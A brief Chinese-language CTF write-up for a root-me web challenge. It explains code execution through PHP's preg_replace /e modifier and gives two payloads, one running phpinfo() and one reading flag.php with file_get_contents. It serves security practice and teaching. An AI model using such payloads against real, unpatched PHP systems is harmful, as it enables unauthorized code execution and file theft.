【root-me CTF练习】Web服务器安全-PHP preg_replace

靶机地址

http://challenge01.root-me.org/web-serveur/ch37/index.php

解题思路

此题考的是利用PHP 的preg_replace函数导致的代码执行。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码。PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。

测试

<?php
echo preg_replace('/test/e', 'phpinfo()', 'just test');
?>

这里是php5.4版本,成功执行。
在这里插入图片描述

那么接下来就好做了,利用file_get_contents()函数读取flag.php文件即可

<?php
echo preg_replace('/test/e',"file_get_contents('flag.php')",'just test');
?>

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/84728612